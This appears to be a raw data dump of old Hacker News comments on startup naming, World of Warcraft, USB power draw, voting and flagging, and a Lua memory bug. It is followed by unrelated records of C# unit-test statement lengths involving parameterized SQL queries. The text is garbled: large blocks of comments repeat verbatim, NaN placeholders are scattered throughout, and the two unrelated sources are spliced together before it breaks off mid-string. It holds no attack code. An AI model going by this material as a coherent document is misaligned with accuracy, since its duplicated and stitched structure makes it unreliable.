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Google is a great name, better than all the examples you've mentioned for one simple reason:  How many times have you been lost and called a friend and asked her to google an address for you?  How many times have you googled a girl you met to see where she works of if she has any pictures you can send to your friends?<p>Back when Yahoo was the only game in town for search, nobody ever aked me to Yahoo something.<p>Flickr is a great product with an easy to mis-spell name.<p>Reddit is good, though.<p>Regards,<p>Fred\", NaN, \"No kidding. A lawyer two years out of school will earn $128k in London, compared to an engineer two years out who will be on closer to $80k.<p>With rent running at $2k+ a month for a double room in a shared house the difference is pretty significant.\", \"Yes.\", \"I don't like straightforward names, as you've described them, period.  For one thing, they aren't really straightforward with the way human brains work.  For instance, is it carprices or carprice?  Similarly, I'd recommend you stay away from cute names like karprices.com or qarpricez.com.  I realize that their intention is to describe their business category, and let the user figure out what the business is about from the name, but what you really end up with is something generic, something that doesn't stick in the mind, and that is vulnerable to a competitor with a memorable brand that can stick in a consumer's mind.<p>Some specific advice would be:<p>1) Make it impossible to mis-spell.  I know, this was said before in one of the threads above.\\\\n2) Does the name have the potential to be used in a sentence, like, \\\"can you google that for me?\\\" or \\\"can you xerox that for me?\\\" or \\\"Did you see x's latest twitter?\\\"  \\\\n3) Does the name suggest the business category?  For example, twitter sort of suggests what it is that the product does, if only on a subconscious level?  Same for a lot of Proctor & Gamble brands.<p>Probably the best thing to do is pick up Ries & Trout's \\\"Positioning.\\\"  I know Ries has some newer stuff out that speaks directly to naming Internet companies.<p>Good luck!\", \"You should pay to check whether the message is available because your requests cost Amazon money. That way, if you don't care to poll frequently, you won't be forced to pay some average price that's driven up by other users who do need to poll often. In fact, this is more fair.<p>Disclaimer: I used to work at AWS, though it was 2+ years ago and I didn't work on SQS.\", \"This is something I've thought a lot about since I've been in a pretty serious indie band.<p>A few bands have contracted me to develop download forms like the Girl Talk/Radiohead forms, and it would cost them $400 for a custom script. I thought that it would be cool to make a startup similar to Wufoo that would let indie bands customize their own forms for $20/mo and host everything for them. Then the bands could embed the form on their MySpace page and website. They could also allow blogs like Pitchfork, Stereogum, and Gorilla vs. Bear to embed it in their reviews/coverage.<p>You could get creative with revenue sharing and advertising, but that's the general idea.\", \"I think Twitter is in great position to start a contextual and geolocation advertising from the SMS messages been sent and from the phone numbers been used. Now or later they will need to move to a sustainable business model.\", NaN, \"SearchYC.com provides a feed of each user's comments: <a href=\\\"http://searchyc.com/user/kirubakaran?only=comments&sort=by_date\\\" rel=\\\"nofollow\\\">http://searchyc.com/user/kirubakaran?only=comments&sort=...</a>\", \"It's easy to make money if you're willing to set a price. The trouble for web-based distractions is that they're afraid the price will be too high and kill their traffic.<p>Weewar.com is a solid game, but it's still just a distraction. The way they're making money is by providing a \\\"pro\\\" version where you get access to <i>more</i> distractions: <a href=\\\"http://weewar.com/upgrade\\\" rel=\\\"nofollow\\\">http://weewar.com/upgrade</a>\", \"It seems like there could be some performance benefits in pre-compiling or \\\"pre-parsing\\\" PHP.  For instance, the compiler could copy specific functions or classes from an include file and save them right into the script where they're actually used -- therefore eliminating the performance hit of managing include files at runtime.<p>Now, as to whether there's a benefit to learning an entirely new language in order to do this, I'm not so sure.  Why not extend (and simplify) PHP while still using PHP syntax and grammar, the way jQuery does for JavaScript?\", \"It seems best to keep voting as a permanent operation. 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At the beginning you gain levels very quickly, and with them new and exciting abilities.  You always feel like you're making progress, be it with better spells, better gear, getting to adventure in new zones, etc.<p>- It's very casual-friendly.  When you're logged out you earn \\\"rest XP\\\" which, upon logging back in, lets you level faster, so you don't have to play in large chunks of time to make progress.  It's also pretty easy to level all the way up to 70 (max level) playing by yourself.<p>- There's a surprising amount of humor (pop culture references, etc.) which is a nice bonus.<p>- There are lots of things to do even at max level - this wasn't as true in the past but you can do daily quests, play in one of the four PvP battlegrounds, join an arena team, do raids, etc.\", \"Congrats to Twitter!\", \"\\\"Blizzard-level of quality is hard to attain; they perfect every little detail.\\\"<p>This isn't literally true, but the point you're getting at is. They take the time to do things well. This is seen by how often they delay releasing games, patches, etc. Very few businesses have the balls to say, it's not ready and we're pushing back our deadlines.\", \"There are people claiming the drive only draws 500mA based on the fact that it shows up when plugged into mortal computers and claims 500mA. I think this is poor reasoning. There is no way for it to legally ask for more than 500mA in the USB protocol, so it asks for all it can and then uses some secondary mechanism to decide if it can really run.\", \"It works in IE6.\", \"Should I really trust a framework that forces me to use <br /> tags to seperates form fields from each other? Maybe this is a good starting point for people looking for getting more experiences with CSS and its culprits but probably no solution for productive environments. (And: tables are nice if you dont care for Googlebot, screen readers and many colleages working on the same code).\", \"Interestingly, Bezos Expeditions is listed amongst the investors.\", \"The iPhone can be wildly successful and still be less than 1% of the browser market - a market that includes every desktop and laptop computer as well as every other smart phone.\", NaN, \"Part of my argument, which I didn't explicitly state, is that most artists would rather their work be widely appreciated than it make a lot of money (any money?).\", \"It would be interesting if tnkgrl would measure the current on the power lines during a burn. That device is spec'd at about twice the USB power limit. (5.25w v. 2.5w).<p>So it may work for you, but it also may not depending on your USB host hardware and how serious it is about protecting itself from overcurrent loads.<p>Wandering further from topic, I noticed the new USB micro combined A/B connectors have higher current limits. Perhaps the standards group is considering a USB \\\"higher power\\\" variant.  With the increasing use of USB as battery charger it could help.\", NaN, \"Have you thought about just putting a floor on downvoting?<p>It seems anything that truly merits a -10 is firmly in 'getting killed by an editor' territory, with possible account deletion, and, if there were a floor, anything that doesn't deserve a -10 would not get modded into oblivion for no reason.<p>Maybe you don't want to change the modding system that much, but I was just wondering if you had any thoughts on the idea?\", \"The article would suggest that most of the bands that \\\"make it big\\\" don't make a lot of money, unless they're like Madonna and have stayed popular past the initial sodomizing. So, making a living off of Myspace would be better for many bands than selling 500,000 albums one year.\", \"I would use this. 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And sorry if this is spammy...flag away if you think it is<p>http://tinyurl.com/5bh63z\", \"can anyone tell if it works on ie6?\", \"The reasons are manifold.<p>1. They took every lesson from every MMORPG before them, and put it into WoW. This means things like PvP flags, and not having death exact a heavy toll. This was not obvious to WoW's predecessors. Generally, Blizzard does not enter a market first, they wait, let others innovate, and then combine features into a heavily polished product crafted around an easily understood theme.<p>2. They reward human psychological tendencies to generate habits. This is done through staging a series of rewarding goals. The repetitive parts are not so repetitive that you lose sight of the goal. If the user can hold the goal in their mind and find achieving it satisfying, then a player will return multiple times to what is essentially the same task.<p>3. They capitalize off of the desire for novelty. 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Our products are 100% software and are designed to help utilities inform their customers and drive down energy usage.  You can read about what we do, our team and our jobs at www.positiveenergyusa.com.\", NaN, \"Personally, I think the discussion on the competitive advantage of the IMAX film format is a significant parallel (only one lab to process the film, offers huge visual depth, but at significant cost, company had some financial trouble, etc. etc.). Also, of course, the glaringly obvious parallel: Nolan's workspace is the \\\"Garage\\\".\", \"While we are trying to draw parallels, I've got one:<p>You can eat too much of your own dog food.<p>Lucas loves his ILM, and rightfully so, but that doesn't necessitate CGI fire on the torches in the new Indy movie. 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Google is a great name, better than all the examples you've mentioned for one simple reason:  How many times have you been lost and called a friend and asked her to google an address for you?  How many times have you googled a girl you met to see where she works of if she has any pictures you can send to your friends?<p>Back when Yahoo was the only game in town for search, nobody ever aked me to Yahoo something.<p>Flickr is a great product with an easy to mis-spell name.<p>Reddit is good, though.<p>Regards,<p>Fred\", NaN, \"No kidding. A lawyer two years out of school will earn $128k in London, compared to an engineer two years out who will be on closer to $80k.<p>With rent running at $2k+ a month for a double room in a shared house the difference is pretty significant.\", \"Yes.\", \"I don't like straightforward names, as you've described them, period.  For one thing, they aren't really straightforward with the way human brains work.  For instance, is it carprices or carprice?  Similarly, I'd recommend you stay away from cute names like karprices.com or qarpricez.com.  I realize that their intention is to describe their business category, and let the user figure out what the business is about from the name, but what you really end up with is something generic, something that doesn't stick in the mind, and that is vulnerable to a competitor with a memorable brand that can stick in a consumer's mind.<p>Some specific advice would be:<p>1) Make it impossible to mis-spell.  I know, this was said before in one of the threads above.\\\\n2) Does the name have the potential to be used in a sentence, like, \\\"can you google that for me?\\\" or \\\"can you xerox that for me?\\\" or \\\"Did you see x's latest twitter?\\\"  \\\\n3) Does the name suggest the business category?  For example, twitter sort of suggests what it is that the product does, if only on a subconscious level?  Same for a lot of Proctor & Gamble brands.<p>Probably the best thing to do is pick up Ries & Trout's \\\"Positioning.\\\"  I know Ries has some newer stuff out that speaks directly to naming Internet companies.<p>Good luck!\", \"You should pay to check whether the message is available because your requests cost Amazon money. That way, if you don't care to poll frequently, you won't be forced to pay some average price that's driven up by other users who do need to poll often. In fact, this is more fair.<p>Disclaimer: I used to work at AWS, though it was 2+ years ago and I didn't work on SQS.\", \"This is something I've thought a lot about since I've been in a pretty serious indie band.<p>A few bands have contracted me to develop download forms like the Girl Talk/Radiohead forms, and it would cost them $400 for a custom script. I thought that it would be cool to make a startup similar to Wufoo that would let indie bands customize their own forms for $20/mo and host everything for them. Then the bands could embed the form on their MySpace page and website. They could also allow blogs like Pitchfork, Stereogum, and Gorilla vs. Bear to embed it in their reviews/coverage.<p>You could get creative with revenue sharing and advertising, but that's the general idea.\", \"I think Twitter is in great position to start a contextual and geolocation advertising from the SMS messages been sent and from the phone numbers been used. Now or later they will need to move to a sustainable business model.\", NaN, \"SearchYC.com provides a feed of each user's comments: <a href=\\\"http://searchyc.com/user/kirubakaran?only=comments&sort=by_date\\\" rel=\\\"nofollow\\\">http://searchyc.com/user/kirubakaran?only=comments&sort=...</a>\", \"It's easy to make money if you're willing to set a price. The trouble for web-based distractions is that they're afraid the price will be too high and kill their traffic.<p>Weewar.com is a solid game, but it's still just a distraction. The way they're making money is by providing a \\\"pro\\\" version where you get access to <i>more</i> distractions: <a href=\\\"http://weewar.com/upgrade\\\" rel=\\\"nofollow\\\">http://weewar.com/upgrade</a>\", \"It seems like there could be some performance benefits in pre-compiling or \\\"pre-parsing\\\" PHP.  For instance, the compiler could copy specific functions or classes from an include file and save them right into the script where they're actually used -- therefore eliminating the performance hit of managing include files at runtime.<p>Now, as to whether there's a benefit to learning an entirely new language in order to do this, I'm not so sure.  Why not extend (and simplify) PHP while still using PHP syntax and grammar, the way jQuery does for JavaScript?\", \"It seems best to keep voting as a permanent operation. That will require people to think a little harder about whether a story or comment is truly worth an upvote.\", \"This does seem a little unfair, but I'm not sure what the alternative is, since it does cost resources to check if the queue is empty.\", \"No, but you're wasting screen space with your content-free post. <i>Why</i> is flagging bad?\", \"I think that it comes down to the same reason Civ was such a popular franchise. Whenever you finish one thing, there's another thing to do. Oh, just a few more points until I level... oh, I can finish this dungeon and get a new sword. There's also the social aspects of that - you do a dungeon with some friends, get involved in their dungeons later so it has a social motivation for returning as well. I think you also get emotionally attached to your character, and don't want to see him deleted by canceling your account.\", \"Points that come to mind:<p>- The leveling curve is just about right.  At the beginning you gain levels very quickly, and with them new and exciting abilities.  You always feel like you're making progress, be it with better spells, better gear, getting to adventure in new zones, etc.<p>- It's very casual-friendly.  When you're logged out you earn \\\"rest XP\\\" which, upon logging back in, lets you level faster, so you don't have to play in large chunks of time to make progress.  It's also pretty easy to level all the way up to 70 (max level) playing by yourself.<p>- There's a surprising amount of humor (pop culture references, etc.) which is a nice bonus.<p>- There are lots of things to do even at max level - this wasn't as true in the past but you can do daily quests, play in one of the four PvP battlegrounds, join an arena team, do raids, etc.\", \"Congrats to Twitter!\", \"\\\"Blizzard-level of quality is hard to attain; they perfect every little detail.\\\"<p>This isn't literally true, but the point you're getting at is. They take the time to do things well. This is seen by how often they delay releasing games, patches, etc. Very few businesses have the balls to say, it's not ready and we're pushing back our deadlines.\", \"There are people claiming the drive only draws 500mA based on the fact that it shows up when plugged into mortal computers and claims 500mA. I think this is poor reasoning. There is no way for it to legally ask for more than 500mA in the USB protocol, so it asks for all it can and then uses some secondary mechanism to decide if it can really run.\", \"It works in IE6.\", \"Should I really trust a framework that forces me to use <br /> tags to seperates form fields from each other? Maybe this is a good starting point for people looking for getting more experiences with CSS and its culprits but probably no solution for productive environments. (And: tables are nice if you dont care for Googlebot, screen readers and many colleages working on the same code).\", \"Interestingly, Bezos Expeditions is listed amongst the investors.\", \"The iPhone can be wildly successful and still be less than 1% of the browser market - a market that includes every desktop and laptop computer as well as every other smart phone.\", NaN, \"Part of my argument, which I didn't explicitly state, is that most artists would rather their work be widely appreciated than it make a lot of money (any money?).\", \"It would be interesting if tnkgrl would measure the current on the power lines during a burn. That device is spec'd at about twice the USB power limit. (5.25w v. 2.5w).<p>So it may work for you, but it also may not depending on your USB host hardware and how serious it is about protecting itself from overcurrent loads.<p>Wandering further from topic, I noticed the new USB micro combined A/B connectors have higher current limits. Perhaps the standards group is considering a USB \\\"higher power\\\" variant.  With the increasing use of USB as battery charger it could help.\", NaN, \"Have you thought about just putting a floor on downvoting?<p>It seems anything that truly merits a -10 is firmly in 'getting killed by an editor' territory, with possible account deletion, and, if there were a floor, anything that doesn't deserve a -10 would not get modded into oblivion for no reason.<p>Maybe you don't want to change the modding system that much, but I was just wondering if you had any thoughts on the idea?\", \"The article would suggest that most of the bands that \\\"make it big\\\" don't make a lot of money, unless they're like Madonna and have stayed popular past the initial sodomizing. So, making a living off of Myspace would be better for many bands than selling 500,000 albums one year.\", \"I would use this. It'd be cool if the blog posts are voteable so that the really interesting ones can bubble up to the front page as actual news.yc entries.\", NaN, \"bezos.  dang.\", \"This secret was already exposed twice: <a href=\\\"http://searchyc.com/submissions/dark+secret\\\" rel=\\\"nofollow\\\">http://searchyc.com/submissions/dark+secret</a>\", \"Just above the paper he's reading I think - System Progamming by John Donovon.\", \"\\\"Lawyers\\\" is listed in the same column as the three mental disorders. Was that intentional?\", \"One of our clients is trying to connect with adobe creative suite users for paid consultations.  It's an easy way to make some money and help a YC reject :)  Our client is a research firm - we'll pass your application to them and if they think you're a fit they'll schedule a screening call with you and engage you directly.  And sorry if this is spammy...flag away if you think it is<p>http://tinyurl.com/5bh63z\", \"can anyone tell if it works on ie6?\", \"The reasons are manifold.<p>1. They took every lesson from every MMORPG before them, and put it into WoW. This means things like PvP flags, and not having death exact a heavy toll. This was not obvious to WoW's predecessors. Generally, Blizzard does not enter a market first, they wait, let others innovate, and then combine features into a heavily polished product crafted around an easily understood theme.<p>2. They reward human psychological tendencies to generate habits. This is done through staging a series of rewarding goals. The repetitive parts are not so repetitive that you lose sight of the goal. If the user can hold the goal in their mind and find achieving it satisfying, then a player will return multiple times to what is essentially the same task.<p>3. They capitalize off of the desire for novelty. Blizzard did a great job of establishing variance in terrain, music, audio, objectives, and creatures. Little touches like non-enemy animals roaming the land broke up the environment into a place that felt diverse enough to be real. Providing places with enough characteristics to endow unique identity made the place even more memorable. A heavily carpeted room, a place that emanated foreboding, or a bizarrely twisted tree. Places like that were memorable and this prevented them from entering into the tedium.<p>4. They struck the perfect balance between the feeling of work and play by fostering the social component well. Try playing WoW by yourself and with others. These will be very different experiences. One will eventually be a boring game, and the other will incorporate the pleasant grooming of conversation so well, you'll discover you're talking more than playing the game.\", \"Book name ?\", \"cool, I can't believe I haven't had occasion to use them yet.<p>thank you\", \"It's 21 to down vote. I recently got that ability.\", \"> will show you the source code of the Perl script instead of calculating your results<p>B-b-but Wired gets the web. 1998's web, judging by the tech they use.\", \"Whether it's premature or not, I'm just putting the idea out there. The question is, what does that take away? If the item is truly flagworthy, then it shouldn't be any problem filling in a box.<p>The added benefit is that you have much less accidental flagging.\", \"I fully agree with you. We took care of the handwriting on our own. This stuff came to a head in 1st grade; he's going into 4th and doing great. He is, among other things, more social than I was when I was his age.<p>What I object to is the school's attempt to tag my son's record with a totally unscientific assessment of \\\"autism\\\" in order to make their system work better with my son.<p>Is there real autism out there? Of course there is. But there is also a lot of bullshit autism.\", \"I believe it is laced with crack.\", \"Having both a downvote and \\\"flag\\\" on comments seems a bit too much. Nobody seems to spam the comments, and trolls get downvoted.\", \"Dupes?\", \"Isn't that premature?<p>And if some really use it inappropriately then they could just lose their right to flag. No need to bother the vast majority who will use it when it's deserved.\", \"We're an energy efficiency software startup called Positive Energy, and we're expanding rapidly, looking for software engineers (Java, web, database) to grow our engineering team.  We're based in Rosslyn, across the river from Georgetown.  Our products are 100% software and are designed to help utilities inform their customers and drive down energy usage.  You can read about what we do, our team and our jobs at www.positiveenergyusa.com.\", NaN, \"Personally, I think the discussion on the competitive advantage of the IMAX film format is a significant parallel (only one lab to process the film, offers huge visual depth, but at significant cost, company had some financial trouble, etc. etc.). Also, of course, the glaringly obvious parallel: Nolan's workspace is the \\\"Garage\\\".\", \"While we are trying to draw parallels, I've got one:<p>You can eat too much of your own dog food.<p>Lucas loves his ILM, and rightfully so, but that doesn't necessitate CGI fire on the torches in the new Indy movie. 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You'll need experience in the field, and you can't really be taught it like you can be taught biology or chemistry.\", \"Yeah I learned about the XPCNativeWrapper objects last night too. Basically GM has access to every object (from window/document on down) as one of these for security purposes (so the target page can't redefine standard methods). Due to the vagaries of the way they are implemented, you can't call the onclick/onkeypress/etc methods directly. It actually states in the documentation that addEventListener is the preferred (and only working) method.<p>You can supposedly get access to the underlying JS object from the XPCNativeWrapper object with the wrappedJSObject property and then act on it, but it's a big security no-no. I tried it anyway to no avail.<p>Your thought on the page not being loaded is kind of where I ended up too. However, my understanding was that GM ran user scripts <i>after</i> the window.onload finished, but I could be completely wrong here. If I assign all the links id attributes in the GM script and then manually add event listeners in my Firebug console, they work fine. Also, you'll notice that later in my script I add click listeners on other items (buttons and links) that work swimmingly, so it's either entirely arbitrary or I'm missing something <i>very</i> obvious.<p>Thanks for looking at this, I'll look forward to any other thoughts you have.<p>EDIT: Looks like I was very wrong about the GM script executing after the window load event. I have been playing with wrapping code in a load event listener and have indeed got it working that way. Thanks for the suggestion! I'll hopefully have something polished and posted soon.\", \"Why do you need an investor?\", \"<p><pre><code>  \\\"If you pick up just about any self-help book, you\\u2019ll get the same information: making mistakes is a good thing. What I don\\u2019t hear often enough is that you should be making those mistakes faster.\\\"\\\\n</code></pre>\\\\nIn programming and in business, failing fast is a philosophy adopted by those who realize its benifits. Scott Young has an interesting take on that concepts, pointed more towards personal development.\", \"At my game development job we got some incredibly hard to reproduce crashes every now and then on the game that was supposed to be shipping soon. We were using Lua for scripting, and the stack traces showed that it was happening somewhere in Lua. This was on the Wii, so dropping to a debugger is only possible if you happen to be running the right build on the right hardware attached to a PC running the right software. Which meant not in the QA department.<p>Not that a debugger helped that much after they managed to get a fairly reliable but convoluted repro. It turned out that really stressing the scripting system with certain patterns would cause the crash to happen much more frequently, so I could see it in the debugger. It didn't help all that much, it was an apparently random memory stomp, and by the time it crashed, it was much too late to tell where it came from. I forget how I figured this out but I eventually managed to narrow the cause down to garbage collection runs. Now, GC runs were periodic, but consoles place hard limits on memory. You can't just swap to disk when the going gets tough, so we had memory budgets for each game component, including the scripting system. So if scripts got particularly greedy, they'd run out of memory before the next GC run.<p>Now, as the memory limits were hard, some clever sod had put a GC call in the Lua malloc hook that was supplying the memory to run when there was no memory available (and the game would have crashed) - no doubt in order to fix an earlier bug. Most of our scripts didn't create hash tables, arrays, and strings frequently, so this bug hadn't been a big enough problem for what must have been years. In Lua, those types of objects require <i>two</i> allocations, one for the base object and one for the data storage. You can see where this is going.<p>If Lua ran out of memory halfway through creating a hash table, array, or string, that is, after successfully creating the base object, but failing on the data store, it would trigger a GC run. Thankfully this was actually not that hard to hit, as the data store memory generally was way bigger than the 16 or so bytes used for primitive types (i.e. base objects, numbers, ...) so the probability of not having enough contiguous space was much higher than not having a 16-byte slot. In any case, the hash table (etc) constructor had of course not returned yet, and therefore there were no references to the hash table object yet, and it promptly got collected. The memory was initialised as a hash table and returned from the constructor, and it was just a matter of time until another allocation wrote straight over that. Not just any allocation of course, as re-allocating it as a (legal) primitive type wouldn't have caused a crash.<p>The fix was of course easy once the cause was known: don't put the base object in the allocated list for GC consideration until the whole object had been assembled.<p>Took me <i>days</i>. And I wasn't even the first person to be assigned the bug, it was one of those hot potatoes that went round all the senior people until it landed on the junior tech programmer's list. (mine)<p>I looked in the checkin history for the malloc hook, and they had shipped at least one game with that bug in. (records didn't go back far enough to rule out the game before) If you figure out what scripts to trigger repeatedly, you can make that game crash.<p>I can't really blame just one person for this. Putting the GC call in the malloc was thoughtless. Maybe I would have done the same without checking that it was safe. In Lua itself, that was a pretty careless way to handle object creation given that the malloc hook is user-defined, so Lua has no control what goes on in there.<p>More bedtime war stories another time.\", \"Hell, my idea of enjoying life is hacking around and coding products. Not many things are better than learning <i>useful</i> stuff. check profile for age\", \"It's noise.\", \"We just hit that straight on a few days ago. Client wanted something (obviously overdramaticized it), catering to their needs we came up with an elaborate and unfortunately ugly solution, which we thought was ridiculous but necessary. Then my co-worker asked the client a REALLY good question \\\"Did you really have 'this[something]' in mind?\\\" and after a yes from the client the solution was ridiculously simple. And everyone went home happy.<p>Next time just step back and ask yourself \\\"what did the client really want?\\\" Then ask the client if you guessed correctly.\", NaN, \"I love doing quick, hacks to improve stuff.  Sometimes it's even more fun if it's a system I'm not familiar with.  Not really a 'bug', but I made Linux boot faster off of USB pen drive type devices by adding a wait queue:<p><a href=\\\"http://www.welton.it/freesoftware/patches/blkdev_wakeup-2.6.18.patch\\\" rel=\\\"nofollow\\\">http://www.welton.it/freesoftware/patches/blkdev_wakeup-2.6....</a><p>Although I don't know if it ever made it into the official kernel, as I got tired of prodding those guys to either accept it or reject it (and in the meantime they put in some lame hack telling the kernel to wait N seconds before proceeding in the hope that that was long enough to mount the device), but a number of people have thanked me for it over the years.<p>BTW, I'm in awe of people who spend all their time hacking kernel stuff.  It's hard work, and for many things, you risk crashing your whole computer if things go wrong.\", \"Further Analysis<p><a href=\\\"http://jorgetown.blogspot.com/2007/12/types-and-programming-languages.html\\\" rel=\\\"nofollow\\\">http://jorgetown.blogspot.com/2007/12/types-and-programming-...</a>\", NaN, NaN, \"We use them and like them a lot. Our site is all Rails, it scaled through a few slashdot/digg spikes easily, no downtime. You are paying for no headaches and stress, and so far we have had none. Worth the price is subjective, but for us, they are.\", \"Honestly, this reads like a (poor?) PR move on Google's behalf - explain why .exe is a bad idea to cover up the obvious flaw in blocking .0 extensions. Everyone knows exe is executable, but .0 can (very easily and clearly) refer to non-executable stuff...\", NaN, NaN, \"Right on.\", NaN, \"Right. Don't put the carriage before the horse. If you have living expenses taken care of and time to spend then you can create something. It does not take investment to get started. Don't think about it too much and just make something.<p>... or as Guy Kawasaki put it (<a href=\\\"http://www.changethis.com/1.ArtOfTheStart\\\" rel=\\\"nofollow\\\">http://www.changethis.com/1.ArtOfTheStart</a>):<p>\\\"GET GOING. Start creating and delivering your product or service. Think soldering irons, compilers, hammers, saws, and AutoCAD -\\u2014 whatever tools you use to build products and services. Don't focus on pitching, writing, and planning.\\\"<p>i.e. make something first.\", \"Why is that?\", \"<a href=\\\"http://www.coolest-gadgets.com/\\\" rel=\\\"nofollow\\\">http://www.coolest-gadgets.com/</a>\", \"You need investors when you need heavy funding. For now just live with your parents or wherever and make a prototype. From there you might be able to convince an investor that this is the next big thing. If you are hosting a website, then start it up, and show it off.<p>Hell I am 24 and I am not waiting for an investor to make my company a reality. If it fails, who cares, I got many years to try again :)\", \"The first time I saw this on reddit, I realized the Good Days were over. I think that was in late 2005.\", \"Here's the MTV version of what I am talking about. <a href=\\\"http://www.youtube.com/watch?v=_6uKZWnJLCM\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=_6uKZWnJLCM</a> and keep on hating rather than debating because the fallacy works!\", \"I wrote a long-format response to this essay on Jottit: <a href=\\\"http://lies.jottit.com\\\" rel=\\\"nofollow\\\">http://lies.jottit.com</a>.  It's kind of too long to make as a comment, hence this pointer.\", \"Thanks for all the feedback. As a regular Hacker News reader, I am thrilled to see my post here!<p>Hexstream made a great comment about the wasted potential of teen years. It echoes what PG has said - boredom being the biggest problem in high school (or even college for that matter). Kids are getting smarter every generation (really true - IQ is going up world-wide), yet they don't feel challenged. Tapping that wasted potential is a huge opportunity, leave aside the \\\"doing good\\\" aspect of it.\", \"It would be <i>very</i> interesting to to see the yearly profile and time and effort invested to determine the effort/reward ratio for blogs like this.<p>People are unlikely to provide such information on public sites (if at all), but it still would be nice to see.<p>I ask this as I dare say you could scrape certain ecommerce sites to automatically feed a blog based on a theme e.g. gadgets, and for little/no effort thereafter get a supplementary income source if you so wished ...thinking about it, there are probably many already doing this?\", \"Well I tried to spill too much in one thread.  You have no idea what you are saying because you are judging by one thread.  I have studied neutrinos intently and I hope the LHC will reveal more about them as a building block.  But go ahead be a hater, I can use you for fuel. btw if those are big words I am sorry.\", \"Whats the url of the \\\"gadget blog\\\"?\", \"I ran across this Reddit story:<p>http://www.reddit.com/info/6n7k3/comments/<p>And enjoyed both the article and the commentary on people's own bug troubles. Do you guys have any of your own stories (preferably as detailed as possible) about bugs and bug fixes?<p>This has to be one of my favorites:<p>http://www.ibiblio.org/harris/500milemail.html\", \"I think this is dead on.  The OP should look towards publishing in a conference proceedings.  In CS this is much more common than journals and his odds of getting it accepted are probably much higher.  You nailed the top conferences in this area.  However, these are still quite competitive.  Perhaps the OP could be more specific about the area where he made an improvement and experts on the forum can try to suggest the best places to submit it.\", NaN, NaN, \"I'm not so sure wine is a commodity like he says.  Well, some wine is, the kind you buy bulk from the guys who make it.  My father in law gets the stuff for around a euro a liter or something, and it's actually pretty good for table wine.  You can certainly taste the difference between good and bad wines, and different varieties, with a bit of experience.  That's in Italy, though...\", \"It would be nice to know what the algorithm is for the movement and location of developer names, since that isn't made clear on the project page. It seems to have something to do with the average location of the files when they light up and start flying. If that's the case, what's the algorithm for the location of the appearing files?<p>Without knowing some of the finer details of what is going on, I find it to be more entertaining than educational. Can we learn something other than a general idea and appreciation of the activity that went into a project?\", \"What would really bother me with that business model is that you are highly dependent on your Google rank. You can lose all your revenues instantly if you are removed from the index or outranked by a competitor.\", \"If I had to guess I would presume the OP has not done a formal analysis of the algorithm.  This would undoubtedly be the contribution of the professor/researcher assuming the analysis proves it is an improvement over prior algorithms.  This analysis/proof is certainly worth being a second author even if it is not a contribution to the algorithm itself.\", \"I'm in charge of a web-based interface for adding and removing DNS entries for virtual hosts.<p>Right now we're using a kludgey system of having a webserver hit an inetd script that copies and fills in a template zone file, rsyncs it across servers, and reloads named. This is slow and somewhat unreliable.<p>It would be nice to be able to write to a MySQL server with slave or two instead and simply have the changes show up in subsequent DNS queries.<p>PowerDNS (http://en.wikipedia.org/wiki/PowerDNS) is one such server, which can use a variety of backends including RDBMSes. Do any readers have experience with this or a similar product? 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length of the statement  \\\"        Assert.AreEqual( transaction.T( \\\"INSERT INTO testTable ( Name' Content) VALUES ( {...} )\\\"' \\\"Ivony\\\"' \\\"Test\\\" ).ExecuteNonQuery()' 1' \\\"\\u63d2\\u5165\\u6570\\u636e\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 144.\", \"The length of the statement  \\\"      Assert.AreEqual( query.TextTemplate' \\\"SELECT * FROM Users WHERE ID = ( SELECT ID FROM Users WHERE Username = #0# )\\\"' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 145.\", \"The length of the statement  \\\"      query = Db.T( \\\"SELECT * FROM Users WHERE ID = ( {1} ) AND Status = {0}\\\"' 3' Db.T( \\\"SELECT ID FROM Users WHERE Username = {0}\\\"' \\\"Ivony\\\" ) ); \\\" is 139.\", \"The length of the statement  \\\"      Assert.AreEqual( query.TextTemplate' \\\"SELECT * FROM Users WHERE ID = ( SELECT ID FROM Users WHERE Username = #0# ) AND Status = #1#\\\"' \\\"\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u4f5c\\u4e3a\\u53e6\\u4e00\\u4e2a\\u53c2\\u6570\\u5316\\u67e5\\u8be2\\u53c2\\u6570\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 162.\", \"The length of the statement  \\\"      Assert.AreEqual( (query + query + query).TextTemplate' \\\"SELECT * FROM Users; SELECT * FROM Users; SELECT * FROM Users;\\\"' \\\"\\u591a\\u4e2a\\u7eaf\\u6587\\u672c\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 139.\", \"The length of the statement  \\\"      Assert.AreEqual( query.ConcatQueries( query' query ).TextTemplate' \\\"SELECT * FROM Users; SELECT * FROM Users; SELECT * FROM Users;\\\"' \\\"\\u591a\\u4e2a\\u7eaf\\u6587\\u672c\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 151.\", \"The length of the statement  \\\"      Assert.AreEqual( (query + query + query).TextTemplate' \\\"SELECT * FROM Users WHERE UserID = #0#; SELECT * FROM Users WHERE UserID = #1#; SELECT * FROM Users WHERE UserID = #2#;\\\"' \\\"\\u591a\\u4e2a\\u5e26\\u53c2\\u6570\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 196.\", \"The length of the statement  \\\"      Assert.AreEqual( query.ConcatQueries( query' query ).TextTemplate' \\\"SELECT * FROM Users WHERE UserID = #0#; SELECT * FROM Users WHERE UserID = #1#; SELECT * FROM Users WHERE UserID = #2#;\\\"' \\\"\\u591a\\u4e2a\\u5e26\\u53c2\\u6570\\u6a21\\u677f\\u8fde\\u63a5\\u6d4b\\u8bd5\\u5931\\u8d25\\\" ); \\\" is 208.\", \"The length of the statement  \\\"      query += Db.Join( \\\"AND\\\"' new ParameterizedQuery[] { Db.T( \\\"UserID <> {0}\\\"' 0 )' null' Db.T( \\\"Username = {0}\\\"' \\\"Ivony\\\" ) } ); \\\" is 124.\", \"The length of the statement  \\\"            //this._db = 